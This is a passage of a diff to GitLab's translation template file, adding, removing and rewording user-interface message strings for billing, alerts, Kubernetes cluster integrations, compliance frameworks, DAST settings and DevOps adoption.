+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
